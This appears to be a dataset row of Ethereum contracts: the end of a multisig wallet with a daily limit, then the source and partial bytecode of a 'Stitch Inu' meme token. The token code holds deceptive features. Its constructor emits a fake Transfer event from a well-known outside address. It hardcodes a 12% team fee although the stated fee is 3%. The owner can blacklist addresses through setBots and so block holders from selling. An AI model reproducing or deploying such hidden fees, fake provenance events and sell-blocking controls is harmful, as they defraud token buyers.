/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction tx = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) {
tx.executed = true;
if (!confirmed)
spentToday += tx.value;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
if (!confirmed)
spentToday -= tx.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610931565b34801561029a57600080fd5b506102436004356109b5565b3480156102b257600080fd5b506102be600435610a24565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610ae2565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b45565b3480156103f757600080fd5b50610376600435610c7e565b34801561040f57600080fd5b50610243610df7565b34801561042457600080fd5b5061015c600435610dfd565b34801561043c57600080fd5b5061015c600435610e74565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f3f9650505050505050565b3480156104bd57600080fd5b50610243610f5e565b3480156104d257600080fd5b50610243610f63565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f69565b34801561050e57600080fd5b5061015c6004356110f3565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b6003805460001901906106679082611343565b5060035460045411156106805760035461068090610dfd565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b600380549050600101600454603282118061087857508181115b80610881575080155b8061088a575081155b1561089457600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109ae576000848152600160205260408120600380549192918490811061095f57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610993576001820191505b6004548214156109a657600192506109ae565b600101610936565b5050919050565b6000805b600354811015610a1e57600083815260016020526040812060038054919291849081106109e257fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a16576001820191505b6001016109b9565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610acf5780601f10610aa457610100808354040283529160200191610acf565b820191906000526020600020905b815481529060010190602001808311610ab257829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b3a57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b1c575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b77578160200160208202803883390190505b50925060009150600090505b600554811015610bfe57858015610bac575060008181526020819052604090206003015460ff16155b80610bd05750848015610bd0575060008181526020819052604090206003015460ff165b15610bf657808383815181101515610be457fe5b60209081029091010152600191909101905b600101610b83565b878703604051908082528060200260200182016040528015610c2a578160200160208202803883390190505b5093508790505b86811015610c73578281815181101515610c4757fe5b9060200190602002015184898303815181101515610c6157fe5b60209081029091010152600101610c31565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cb3578160200160208202803883390190505b50925060009150600090505b600354811015610d705760008581526001602052604081206003805491929184908110610ce857fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d68576003805482908110610d2357fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d4957fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cbf565b81604051908082528060200260200182016040528015610d9a578160200160208202803883390190505b509350600090505b81811015610def578281815181101515610db857fe5b906020019060200201518482815181101515610dd057fe5b600160a060020a03909216602092830290910190910152600101610da2565b505050919050565b60055481565b333014610e0957600080fd5b600354816032821180610e1b57508181115b80610e24575080155b80610e2d575081155b15610e3757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610e9257600080fd5b6000828152602081905260409020548290600160a060020a03161515610eb757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ee257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f38856110f3565b5050505050565b6000610f4c848484611253565b9050610f5781610e74565b9392505050565b603281565b60045481565b6000333014610f7757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fa057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fc857600080fd5b600092505b6003548310156110595784600160a060020a0316600384815481101515610ff057fe5b600091825260209091200154600160a060020a0316141561104e578360038481548110151561101b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611059565b600190920191610fcd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b600081815260208190526040812060030154829060ff161561111457600080fd5b61111d83610931565b1561124e576000838152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959850600160a060020a03909316959492939192839285926000199183161561010002919091019091160480156111cb5780601f106111a0576101008083540402835291602001916111cb565b820191906000526020600020905b8154815290600101906020018083116111ae57829003601f168201915b505091505060006040518083038185875af192505050156112165760405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261124e565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038201805460ff191690555b505050565b600083600160a060020a038116151561126b57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926112eb926002850192910190611367565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b81548183558181111561124e5760008381526020902061124e9181019083016113e5565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106113a857805160ff19168380011785556113d5565b828001600101855582156113d5579182015b828111156113d55782518255916020019190600101906113ba565b506113e19291506113e5565b5090565b610b4291905b808211156113e157600081556001016113eb5600a165627a7a72305820c4d36c65dbc37a8f3d3839eaf6c7aa79f17e63b812ce9d73341b751c29f9eb5c0029
|
{"success": true, "error": null, "results": {}}
| 4,102 |
0xb28c2ba48915f8e1faaeb74701705d2b370bc53e
|
/*
Stitch Inu goes to the Moon:
🌐 Website : https://stitchinu.org/
🌐 Twitter : https://twitter.com/StitchInu
🌐 Telegram Official : https://t.me/StitchInuGroups
🌐 Telegram Channel : https://t.me/StitchInuAnn
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract StitchInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Stitch Inu";
string private constant _symbol = "STITCHINU";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10 * 10**9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f03565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a26565b61045e565b6040516101789190612ee8565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a5565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d7565b61048d565b6040516101e09190612ee8565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612949565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311a565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa3565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612949565b610783565b6040516102b191906130a5565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1a565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f03565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a26565b61098d565b60405161035b9190612ee8565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a62565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af5565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299b565b61121a565b60405161041891906130a5565b60405180910390f35b60606040518060400160405280600a81526020017f53746974636820496e7500000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b600068056bc75e2d63100000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137de60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe5565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe5565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f535449544348494e550000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe5565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bb565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe5565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613065565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612972565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612972565b6040518363ffffffff1660e01b8152600401610e1f929190612e35565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612972565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e87565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1e565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5e565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acc565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe5565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa5565b60405180910390fd5b6111d860646111ca8368056bc75e2d